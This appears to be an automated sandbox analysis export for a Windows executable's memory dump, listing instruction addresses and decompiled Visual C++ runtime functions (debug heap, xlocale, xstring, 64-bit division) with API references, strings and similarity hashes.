0x00000000
0x0042a684
0x0042a687
0x0042a68a
0x0042a68f
0x0042a694
0x0042a6ab
0x0042a6ae
0x0042a6c5
0x0042a6c8
0x0042a6cf
0x0042a6d3
0x0042a6d3
0x0042a6b0
0x0042a6b5
0x0042a6b9
0x0042a6b9
0x0042a696
0x0042a69b
0x0042a69f
0x0042a69f
0x0042a694
0x0042a6e3
0x0042a6ec
0x0042a6ef
0x0042a705
0x0042a70a
0x0042a70a
0x0042a720
0x0042a725
0x0042a72b
0x0042a72e
0x0042a733
0x0042a736
0x0042a74c
0x0042a751
0x0042a751
0x0042a736
0x0042a754
0x0042a758
0x0042a812
0x0042a825
0x0042a82a
0x00000000
0x0042a75e
0x0042a75e
0x0042a75e
0x0042a762
0x00000000
0x00000000
0x0042a768
0x0042a76b
0x0042a774
0x0042a77a
0x0042a77a
0x0042a789
0x0042a78f
0x0042a791
0x00000000
0x00000000
0x0042a793
0x0042a796
0x0042a7bb
0x0042a7c0
0x0042a7c3
0x0042a7c9
0x0042a7d0
0x0042a7de
0x0042a7f1
0x0042a7f6
0x0042a805
0x00000000
0x0042a805
0x0042a7d2
0x0042a7d2
0x00000000
0x0042a7d2
0x0042a810
0x0042a82d
0x0042a82d
0x0042a834
0x0042a839
0x0042a83c
0x0042a852
0x0042a857
0x0042a857
0x0042a83c
0x0042a834
0x0042a85a
0x0042a85a
0x0042a85e
0x0042a866
0x0042a86b
0x0042a86e
0x0042a86e
0x0042a875
0x0042a875
0x004299fb
0x00429a02
0x00429a0f
0x00429a12
0x00429a14
0x00000000
0x00000000
0x00429a1a
0x00429a1a
0x00429a21
0x00000000
0x00000000
0x00429a27
0x00429a2e
0x00429a31
0x00429a58
0x00429a58
0x00429a62
0x00429a68
0x00429a74
0x00429a77
0x00429a85
0x00429a88
0x00429a8e
0x00429a95
0x00429b3a
0x00429b40
0x00429b46
0x00429b4d
0x00000000
0x00000000
0x00429b53
0x00429b59
0x00000000
0x00429b60
0x00429b60
0x00429b7a
0x00429b7f
0x00000000
0x00000000
0x00429b87
0x00429b87
0x00429b8e
0x00429b91
0x00429b94
0x00429b97
0x00429b9a
0x00429b9d
0x00429ba0
0x00429ba7
0x00429bae
0x00000000
0x00000000
0x00429bba
0x00429bba
0x00429bc1
0x00429bcd
0x00429bd0
0x00429bd6
0x00429bdd
0x00000000
0x00000000
0x00429bdf
0x00429be5
0x00429be5
0x00429bec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00429c30
0x00429c30
0x00429c37
0x00429c3a
0x00429c64
0x00429c67
0x00429c67
0x00429c71
0x00429c71
0x00429c75
0x00429c3c
0x00429c3c
0x00429c48
0x00429c4b
0x00429c4f
0x00429c51
0x00429c54
0x00429c54
0x00429c57
0x00429c5a
0x00429c5d
0x00429c5f
0x00429c5f
0x00429c62
0x00429c78
0x00000000
0x00000000
0x00429c7d
0x00429c7d
0x00000000
0x00000000
0x00429c89
0x00429c89
0x00429c90
0x00429c93
0x00429cb3
0x00429cb6
0x00429cb6
0x00429cc0
0x00429cc0
0x00429cc4
0x00429c95
0x00429c95
0x00429ca1
0x00429ca4
0x00429ca8
0x00429caa
0x00429caa
0x00429cb1
0x00000000
0x00000000
0x00429ccc
0x00429ccc
0x00429cd3
0x00429cdf
0x00429ce2
0x00429ce8
0x00429cef
0x00429e02
0x00000000
0x00429e02
0x00429cf5
0x00429cfb
0x00429cfb
0x00429d02
0x00000000
0x00429d39
0x00429d39
0x00429d3c
0x00429d3f
0x00429d42
0x00429d69
0x00429d69
0x00429d6c
0x00429d6f
0x00429d72
0x00429d96
0x00429d96
0x00429d99
0x00429d9c
0x00429d9f
0x00429dd8
0x00429de9
0x00000000
0x00429de9
0x00429da1
0x00429da1
0x00429da4
0x00429da7
0x00429daa
0x00000000
0x00000000
0x00429dac
0x00429dac
0x00429daf
0x00429db2
0x00429db5
0x00000000
0x00000000
0x00429db7
0x00429db7
0x00429dba
0x00429dbd
0x00429dc0
0x00000000
0x00000000
0x00429dc2
0x00429dc2
0x00429dc5
0x00429dc8
0x00429dcb
0x00000000
0x00000000
0x00429dcd
0x00429dcd
0x00429dd0
0x00429dd3
0x00429dd6
0x00429dda
0x00000000
0x00429dda
0x00000000
0x00429dd6
0x00429d74
0x00429d74
0x00429d77
0x00429d7b
0x00429d7e
0x00000000
0x00429d80
0x00429d83
0x00429d86
0x00429d8c
0x00429d91
0x00000000
0x00429d91
0x00429d7e
0x00429d44
0x00429d44
0x00429d47
0x00429d4b
0x00429d4e
0x00000000
0x00429d50
0x00429d53
0x00429d56
0x00429d5c
0x00429d61
0x00000000
0x00429d61
0x00000000
0x00429deb
0x00429deb
0x00429dee
0x00429df1
0x00000000
0x00000000
0x00429d09
0x00429d09
0x00429d0c
0x00429d0f
0x00429d12
0x00429d2b
0x00429d2e
0x00429d2e
0x00429d31
0x00429d14
0x00429d14
0x00429d17
0x00429d1a
0x00429d20
0x00429d26
0x00429d26
0x00000000
0x00000000
0x00429df6
0x00429df6
0x00429df9
0x00429df9
0x00429dff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00429e07
0x00429e07
0x00429e0e
0x00429e14
0x00429e1a
0x00429e1d
0x00429e23
0x00429e2a
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x00429e30
0x00429e30
0x00429e36
0x00429e36
0x00429e3d
0x00000000
0x0042a1c1
0x0042a1c1
0x0042a1cf
0x0042a1cf
0x0042a1d2
0x00000000
0x00000000
0x00429e44
0x00429e47
0x00429e47
0x00429e4d
0x00429e4f
0x00429e52
0x00429e52
0x00429e55
0x00429e55
0x00000000
0x00000000
0x00429f8a
0x00429f8d
0x00429f8d
0x00429f92
0x00429f94
0x00429f97
0x00429f97
0x00429f9a
0x00429f9a
0x00000000
0x00000000
0x0042a387
0x0042a387
0x00000000
0x00000000
0x00429ef4
0x00429ef4
0x00429f00
0x00429f06
0x00429f0d
0x00429f1b
0x00429f1b
0x00429f21
0x00429f24
0x00429f30
0x00429f85
0x00000000
0x00429f85
0x00429f0f
0x00429f0f
0x00429f15
0x00429f19
0x00429f35
0x00429f38
0x00429f38
0x00429f3e
0x00429f66
0x00429f6d
0x00429f73
0x00429f76
0x00429f79
0x00429f7f
0x00429f82
0x00429f40
0x00429f40
0x00429f46
0x00429f49
0x00429f4c
0x00429f52
0x00429f55
0x00429f58
0x00429f5a
0x00429f5d
0x00429f5d
0x00000000
0x00429f3e
0x00000000
0x00000000
0x0042a1d9
0x0042a1dc
0x0042a1df
0x0042a1e2
0x0042a1e8
0x0042a1eb
0x0042a1f2
0x0042a1f6
0x0042a201
0x0042a201
0x0042a205
0x0042a21c
0x0042a21c
0x0042a223
0x0042a225
0x0042a225
0x0042a22c
0x0042a22c
0x0042a233
0x0042a241
0x0042a244
0x0042a253
0x0042a256
0x0042a25a
0x0042a26f
0x0042a25c
0x0042a25c
0x0042a25f
0x0042a265
0x0042a26a
0x0042a26a
0x0042a25a
0x0042a279
0x0042a27c
0x0042a27f
0x0042a282
0x0042a285
0x0042a288
0x0042a28e
0x0042a294
0x0042a29c
0x0042a29d
0x0042a2a0
0x0042a2a1
0x0042a2a4
0x0042a2a5
0x0042a2ac
0x0042a2ad
0x0042a2b0
0x0042a2b1
0x0042a2b4
0x0042a2b5
0x0042a2bb
0x0042a2bc
0x0042a2c2
0x0042a2c3
0x0042a2c9
0x0042a2cb
0x0042a2d1
0x0042a2d1
0x0042a2d6
0x0042a2d8
0x0042a2dc
0x0042a2de
0x0042a2e1
0x0042a2e6
0x0042a2e7
0x0042a2ea
0x0042a2eb
0x0042a2f1
0x0042a2f2
0x0042a2f8
0x0042a2fa
0x0042a2fa
0x0042a2dc
0x0042a2fd
0x0042a304
0x0042a307
0x0042a30c
0x0042a30c
0x0042a312
0x0042a314
0x0042a31c
0x0042a31d
0x0042a320
0x0042a321
0x0042a326
0x0042a327
0x0042a32d
0x0042a32f
0x0042a32f
0x0042a312
0x0042a332
0x0042a335
0x0042a338
0x0042a33b
0x0042a340
0x0042a345
0x0042a348
0x0042a34b
0x0042a34b
0x0042a34e
0x0042a34e
0x0042a351
0x0042a35d
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x0042a67a
0x0042a207
0x0042a207
0x0042a20e
0x0042a211
0x00000000
0x00000000
0x0042a213
0x0042a213
0x00000000
0x0042a213
0x0042a1f8
0x0042a1f8
0x00000000
0x00000000
0x00429e58
0x00429e58
0x00429e63
0x00429e6b
0x00429e72
0x00429e75
0x00429e75
0x00429e78
0x00429ed8
0x00429e7a
0x00429e81
0x00429e87
0x00429e8d
0x00429e94
0x00429e97
0x00429e9d
0x00429ea5
0x00429ea7
0x00429eae
0x00429eb5
0x00429ebc
0x00429ec4
0x00429ec6
0x00429ec8
0x00429ec8
0x00429ecf
0x00429edf
0x00429ee5
0x00429ee8
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x0042a365
0x0042a368
0x0042a36b
0x0042a36e
0x00000000
0x00000000
0x0042a0ca
0x0042a0ca
0x0042a0d6
0x0042a0dc
0x0042a0e1
0x0042a0e3
0x0042a18d
0x0042a18d
0x0042a190
0x0042a190
0x0042a193
0x0042a1a7
0x0042a1ad
0x0042a1b3
0x0042a195
0x0042a195
0x0042a19b
0x0042a1a2
0x0042a1a2
0x0042a1b5
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x0042a0e9
0x0042a0e9
0x0042a0e9
0x0042a0eb
0x0042a0f9
0x0042a0ed
0x0042a0ed
0x0042a0ed
0x0042a103
0x0042a109
0x0042a10f
0x0042a116
0x0042a118
0x0042a11d
0x0042a11f
0x0042a124
0x0042a129
0x0042a12b
0x0042a130
0x0042a133
0x0042a136
0x0042a138
0x0042a138
0x0042a136
0x0042a139
0x0042a140
0x0042a188
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a142
0x0042a142
0x0042a147
0x0042a163
0x0042a16b
0x0042a175
0x0042a178
0x0042a17d
0x00000000
0x0042a17d
0x00000000
0x0042a3ce
0x0042a3ce
0x0042a3d8
0x0042a3d8
0x0042a3de
0x0042a3e0
0x0042a3e3
0x0042a3e3
0x0042a3e9
0x0042a3e9
0x00000000
0x00000000
0x0042a380
0x0042a380
0x00000000
0x00000000
0x00429f9d
0x00429f9d
0x00429fa1
0x00429faf
0x00429fb2
0x00429fa3
0x00429fa3
0x00429fa3
0x00429fb8
0x00429fbe
0x00429fc4
0x00429fd0
0x00429fd6
0x00429fd6
0x00429fd9
0x0042a061
0x0042a061
0x0042a065
0x0042a067
0x0042a06d
0x0042a06d
0x0042a070
0x0042a077
0x0042a07a
0x0042a080
0x0042a080
0x0042a080
0x0042a086
0x0042a08c
0x0042a08f
0x0042a095
0x0042a097
0x00000000
0x00000000
0x0042a099
0x0042a099
0x0042a09f
0x0042a0a2
0x0042a0a4
0x00000000
0x00000000
0x0042a0a6
0x0042a0ac
0x0042a0af
0x0042a0af
0x0042a0b7
0x0042a0b7
0x0042a0bd
0x0042a0bd
0x0042a0c2
0x00000000
0x00429fdf
0x00429fdf
0x00429fdf
0x00429fe3
0x00429fe5
0x00429fea
0x00429fea
0x00429fed
0x00429ff0
0x00429ff6
0x0042a008
0x0042a008
0x0042a008
0x0042a00b
0x0042a011
0x00000000
0x00000000
0x0042a013
0x0042a013
0x0042a019
0x0042a01c
0x0042a01e
0x00000000
0x00000000
0x0042a020
0x0042a020
0x0042a029
0x0042a02f
0x0042a033
0x0042a03b
0x0042a03d
0x0042a03f
0x0042a045
0x0042a045
0x0042a048
0x0042a048
0x0042a054
0x0042a057
0x00429fff
0x0042a002
0x0042a002
0x0042a005
0x0042a005
0x0042a05f
0x0042a0c5
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x00000000
0x00000000
0x00000000
0x0042a393
0x0042a393
0x0042a39d
0x0042a39d
0x0042a3a7
0x0042a3a7
0x0042a3ad
0x0042a3af
0x0042a3b4
0x0042a3be
0x0042a3be
0x0042a3c1
0x0042a3c5
0x0042a3c5
0x00000000
0x00000000
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x00000000
0x00429c09
0x00429c09
0x00429c0c
0x00429c0f
0x00000000
0x00000000
0x00429c14
0x00429c17
0x00429c1d
0x00000000
0x00000000
0x00429bfe
0x00429c01
0x00429c04
0x00000000
0x00000000
0x00429bf3
0x00429bf6
0x00429bf9
0x00000000
0x00000000
0x00429c22
0x00429c22
0x00429c25
0x00429c25
0x00429c28
0x00000000
0x00000000
0x00429c2b
0x00000000
0x00000000
0x00429a9b
0x00429a9b
0x00429a9b
0x00429a9d
0x00429aab
0x00429a9f
0x00429a9f
0x00429a9f
0x00429abb
0x00429ac1
0x00429ac8
0x00429aca
0x00429acf
0x00429ad1
0x00429ad6
0x00429adb
0x00429add
0x00429ae2
0x00429ae5
0x00429ae8
0x00429aea
0x00429aea
0x00429ae8
0x00429aeb
0x00429aeb
0x00429af2
0x00000000
0x00429af4
0x00429af9
0x00429b15
0x00429b1d
0x00429b2a
0x00429b2f
0x0042a93e
0x0042a941
0x0042a94b
0x0042a94b
0x00429af2
0x00429a95
0x00429a33
0x00429a3a
0x00429a3d
0x00000000
0x00429a3f
0x00429a50
0x00000000
0x00429a50
0x00429a3d
0x0042a87a
0x0042a87a
0x0042a881
0x0042a898
0x0042a898
0x0042a8a2
0x0042a8a2
0x0042a8a8
0x0042a8ae
0x0042a8b5
0x0042a8b7
0x0042a8bc
0x0042a8be
0x0042a8c3
0x0042a8c8
0x0042a8ca
0x0042a8cf
0x0042a8d2
0x0042a8d5
0x0042a8d7
0x0042a8d7
0x0042a8d5
0x0042a8d8
0x0042a8df
0x0042a92a
0x0042a933
0x0042a938
0x0042a8e1
0x0042a8e6
0x0042a902
0x0042a90a
0x0042a917
0x0042a91c
0x0042a91c
0x00000000
0x0042a8df
0x0042a883
0x0042a883
0x0042a88a
0x00000000
0x00000000
0x0042a88c
0x0042a88c
0x00000000
0x0042a88c
0x0042a67a
0x0042a651
0x0042a651
0x0042a655
0x0042a662
0x0042a668
0x0042a66e
0x0042a674
0x0042a674
0x0042a677
0x00000000
0x0042a677
0x0042a657
0x0042a65d
0x0042a660
0x00000000
0x00000000
0x00000000
0x0042a660
0x0042a4d1
0x0042a4c8
0x0042a3ec
0x0042a3ec
0x0042a3ec

APIs

_get_int64_arg.LIBCMTD ref: 0042A3FA
_get_int64_arg.LIBCMTD ref: 0042A422
__aullrem.LIBCMT ref: 0042A5CA
__aulldiv.LIBCMT ref: 0042A5EC

Strings

9, xrefs: 0042A5FD

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 03eb08d990aecd05694909a0f71393d12aa9cdb6516a1232e9919dd9fe87c8fd
Instruction ID: 44bcd748e685b6b4e4cd8e52decbf9c2a73eced6ee25c6c0779f49322f0e272f
Opcode Fuzzy Hash: 03eb08d990aecd05694909a0f71393d12aa9cdb6516a1232e9919dd9fe87c8fd
Instruction Fuzzy Hash: 624106B1A00129AFDB24CF48D981BAEB7B5FF85314F50419AE649A7201C7789E91CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 00422A93, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00422B9D
__free_base.LIBCMTD ref: 00422BA9

Strings

pHead->nBlockUse == nBlockUse, xrefs: 00422AAB
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00422AB7

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __free_base_memset
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nBlockUse == nBlockUse
API String ID: 2669475236-3676899318
Opcode ID: 7168947f9cf3f3d30c7a4836d8fcc60c89f3e92813bf52d087ccb0a3e4f0b6e8
Instruction ID: aee063170193d34481a0a3af26512200f872a43b49318c6a9478d136adc27f12
Opcode Fuzzy Hash: 7168947f9cf3f3d30c7a4836d8fcc60c89f3e92813bf52d087ccb0a3e4f0b6e8
Instruction Fuzzy Hash: 6D213074B00114FFCB14CF44EA91A6AB7B2FB89308F74C199D4051B395C679EE42DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00422B0E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00422B9D
__free_base.LIBCMTD ref: 00422BA9

Strings

_pLastBlock == pHead, xrefs: 00422B0E
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00422B1A

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: 0244473efaa2713858c75136c0763db3384c8a5e1ac905837aded47aab3affd3
Instruction ID: a4f9ba9d632fc1a6bac18a76416bb5a0f0051784a3d210c6a4aed298c86a2093
Opcode Fuzzy Hash: 0244473efaa2713858c75136c0763db3384c8a5e1ac905837aded47aab3affd3
Instruction Fuzzy Hash: 4B01AC74B40114FBC710CF54DA81B5AB771FB48308F348199E5056B382D675EE41DB49

Uniqueness

Uniqueness Score: -1.00%

Function 0041D80D, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0041D80D(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t12;
				void* _t15;

				_push(_a12);
				_t12 = __ecx;
				E0041D162(_a4, _a8, L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0xa21);
				if(_a12 == 0) {
					E00420700(L"invalid null pointer", L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0xa22);
					_t15 = _t15 + 0xc;
				}
				_push(_t12 + 8);
				return E00420130(_a4, _a8, _a12);
			}

0x0041d812
0x0041d823
0x0041d828
0x0041d831
0x0041d83e
0x0041d843
0x0041d843
0x0041d849
0x0041d85e

APIs

Part of subcall function 0041D162: std::_Debug_message.LIBCPMTD ref: 0041D198

std::_Debug_message.LIBCPMTD ref: 0041D83E
__Getwctypes.LIBCPMTD ref: 0041D853

Strings

C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale, xrefs: 0041D815, 0041D81F, 0041D838
invalid null pointer, xrefs: 0041D839

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: Debug_messagestd::_$Getwctypes
String ID: C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale$invalid null pointer
API String ID: 3718321696-955221705
Opcode ID: 915cf9f6a9ddf229c4244d33f4fab33dd1c31fcb3e61a07c99987004d297daca
Instruction ID: 05724f43365a8c5fe2dd5d63aa7e84386f32f10d265d2f1bb1062447186908ac
Opcode Fuzzy Hash: 915cf9f6a9ddf229c4244d33f4fab33dd1c31fcb3e61a07c99987004d297daca
Instruction Fuzzy Hash: ECE0E576E40318B7CF112E46DC06ECB3F1AEF91365F048036FD1815162D3B64970DAA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041F4C0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041F4C0(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				signed char _t21;
				void* _t47;

				_push(__ecx);
				_v8 = __ecx;
				if(_a8 != 0) {
					E0041FB20(_a4, L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\xstring", 0x392);
					_t47 = _t47 + 0xc;
				}
				if((E0041F780(_v8, _a4) & 0x000000ff) == 0) {
					_t21 = E0041F6E0(_v8, __eflags, _a8, 0);
					__eflags = _t21 & 0x000000ff;
					if((_t21 & 0x000000ff) != 0) {
						E0041F270(E0041F7C0(_v8), _a4, _a8);
						E0041F560(_v8, __eflags, _a8);
					}
					return _v8;
				} else {
					return E0041F620(_v8, _v8, _a4 - E0041F7C0(_v8), _a8);
				}
			}

0x0041f4c5
0x0041f4c6
0x0041f4cd
0x0041f4dd
0x0041f4e2
0x0041f4e2
0x0041f4f6
0x0041f521
0x0041f529
0x0041f52b
0x0041f53e
0x0041f54d
0x0041f54d
0x00000000
0x0041f4f8
0x00000000
0x0041f511

APIs

_Debug_pointer.LIBCPMTD ref: 0041F4DD

Part of subcall function 0041FB20: std::_Debug_message.LIBCPMTD ref: 0041FB38

__aligned_msize.LIBCMTD ref: 0041F53E

Part of subcall function 0041F270: _memmove.LIBCMT ref: 0041F281

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\xstring, xrefs: 0041F4D4

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: Debug_messageDebug_pointer__aligned_msize_memmovestd::_
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\xstring
API String ID: 2741373880-1689622322
Opcode ID: a17027aa0aa05a0878c7704f6393bb7825fec4e0d584fab4ee9ec2ab53b2f606
Instruction ID: a03e7c1bd2b4bf694d5a834afffd1689e1c8df4864d6b9253c7eba0775b72beb
Opcode Fuzzy Hash: a17027aa0aa05a0878c7704f6393bb7825fec4e0d584fab4ee9ec2ab53b2f606
Instruction Fuzzy Hash: 4F112475600108BBCB08DF99D952DEE73BAAF84304F10807EB51D9B291DA38AF45DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041D766, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041D766(void* __edx, void* __esi) {
				void* _t23;
				intOrPtr _t28;
				void* _t30;
				intOrPtr* _t33;
				intOrPtr _t37;
				void* _t40;
				intOrPtr* _t42;
				void* _t44;

				_t40 = __edx;
				E004241C8(0x43f99c, _t44);
				 *(_t44 - 0x10) =  *(_t44 - 0x10) & 0x00000000;
				_t33 =  *((intOrPtr*)(_t44 + 8));
				if(_t33 != 0 &&  *_t33 == 0) {
					 *((intOrPtr*)(_t44 + 8)) = E0041EEB0();
					_t42 = E0041EDE0(0x20, _t24, "C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0xa07);
					 *((intOrPtr*)(_t44 - 0x14)) = _t42;
					 *(_t44 - 4) =  *(_t44 - 4) & 0x00000000;
					if(_t42 == 0) {
						_t42 = 0;
						__eflags = 0;
					} else {
						_t28 =  *((intOrPtr*)( *((intOrPtr*)(_t44 + 0xc))));
						_t37 =  *((intOrPtr*)(_t28 + 0x18));
						if(_t37 == 0) {
							_t29 = _t28 + 0x1c;
							__eflags = _t28 + 0x1c;
						} else {
							_t29 = _t37;
						}
						_t30 = E0041D67F(_t44 - 0x38, _t29);
						 *(_t42 + 4) =  *(_t42 + 4) & 0x00000000;
						 *(_t44 - 0x10) = 1;
						 *_t42 = 0x4016b4;
						E0041CE0B(_t42, _t40, _t30);
					}
					 *(_t44 - 4) =  *(_t44 - 4) | 0xffffffff;
					_t54 =  *(_t44 - 0x10) & 0x00000001;
					 *_t33 = _t42;
					if(( *(_t44 - 0x10) & 0x00000001) != 0) {
						E0041D704(_t44 - 0x38, _t54);
					}
				}
				_t23 = 2;
				 *[fs:0x0] =  *((intOrPtr*)(_t44 - 0xc));
				return _t23;
			}

0x0041d766
0x0041d76b
0x0041d773
0x0041d778
0x0041d77d
0x0041d797
0x0041d79f
0x0041d7a4
0x0041d7a7
0x0041d7ad
0x0041d7e6
0x0041d7e6
0x0041d7af
0x0041d7b2
0x0041d7b4
0x0041d7b9
0x0041d7bf
0x0041d7bf
0x0041d7bb
0x0041d7bb
0x0041d7bb
0x0041d7c6
0x0041d7cb
0x0041d7d2
0x0041d7d9
0x0041d7df
0x0041d7df
0x0041d7e8
0x0041d7ec
0x0041d7f0
0x0041d7f3
0x0041d7f8
0x0041d7f8
0x0041d7f3
0x0041d802
0x0041d804
0x0041d80c

APIs

__EH_prolog.LIBCMT ref: 0041D76B
new.LIBCPMTD ref: 0041D79A

Part of subcall function 0041EDE0: std::bad_alloc::bad_alloc.LIBCMTD ref: 0041EE28
Part of subcall function 0041EDE0: _atexit.LIBCMTD ref: 0041EE32

Strings

C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale, xrefs: 0041D78F

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog_atexitstd::bad_alloc::bad_alloc
String ID: C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale
API String ID: 18767588-176748764
Opcode ID: e7e3e2219197d9af5d487d255ca226f234ebf5f8bfefe7be7902553bac4867c6
Instruction ID: f929590299eae1c9d13185589c4260f505cd2f86b922456cb24e7f6972fb1d64
Opcode Fuzzy Hash: e7e3e2219197d9af5d487d255ca226f234ebf5f8bfefe7be7902553bac4867c6
Instruction Fuzzy Hash: 5711A7B1E00315ABDB24DF95C885BEEB7A0AF14714F10451FF825AB2C1D77C5A80C789

Uniqueness

Uniqueness Score: -1.00%

Function 0041D9D8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0041D9D8(intOrPtr __ecx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, char* _a16) {
				intOrPtr _v8;
				char* _t15;
				signed short* _t23;

				_push(__ecx);
				_t23 = _a4;
				_push(_a8);
				_t20 = L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale";
				_v8 = __ecx;
				E0041D162(_t23, _a8, L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0xa7b);
				_t15 = _a16;
				if(_t15 == 0) {
					E00420700(L"invalid null pointer", _t20, 0xa7c);
				}
				while(_t23 != _a8) {
					 *_t15 = E0041D10E(_v8,  *_t23 & 0x0000ffff, _a12);
					_t23 =  &(_t23[1]);
					_t15 = _t15 + 1;
				}
				return _t23;
			}

0x0041d9db
0x0041d9de
0x0041d9e2
0x0041d9e5
0x0041d9f3
0x0041d9f7
0x0041d9fc
0x0041da01
0x0041da0e
0x0041da13
0x0041da2d
0x0041da27
0x0041da29
0x0041da2c
0x0041da2c
0x0041da38

APIs

Part of subcall function 0041D162: std::_Debug_message.LIBCPMTD ref: 0041D198

std::_Debug_message.LIBCPMTD ref: 0041DA0E

Strings

C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale, xrefs: 0041D9E5, 0041D9EF, 0041DA08
invalid null pointer, xrefs: 0041DA09

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
